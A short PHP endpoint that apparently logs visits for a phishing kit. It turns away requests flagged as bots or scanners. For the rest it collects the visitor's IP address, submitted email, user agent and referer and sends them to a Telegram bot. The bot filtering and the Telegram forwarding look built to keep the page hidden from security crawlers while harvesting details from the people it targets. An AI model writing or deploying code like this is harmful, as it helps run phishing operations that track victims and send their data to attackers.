<?php
require_once __DIR__ . '/../common.php';
header('Content-Type: application/json');
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['ok' => false]);
    exit;
}
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (isLikelyBot($ua)) {
    http_response_code(403);
    echo json_encode(['ok' => false, 'reason' => 'bot']);
    exit;
}
$input = json_decode(file_get_contents('php://input'), true) ?: [];
if (empty($input['passed_bot_check'])) {
    http_response_code(403);
    echo json_encode(['ok' => false, 'reason' => 'bot_check_failed']);
    exit;
}
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'unknown';
if (strpos($ip, ',') !== false) $ip = trim(explode(',', $ip)[0]);
$email = $input['email'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '-';
$msg = "<b>Visit</b>\nIP: {$ip}\nEmail: " . ($email ?: '-') . "\nUA: " . substr($ua, 0, 200) . "\nReferer: " . substr($ref, 0, 100);
sendTelegram($msg);
echo json_encode(['ok' => true]);
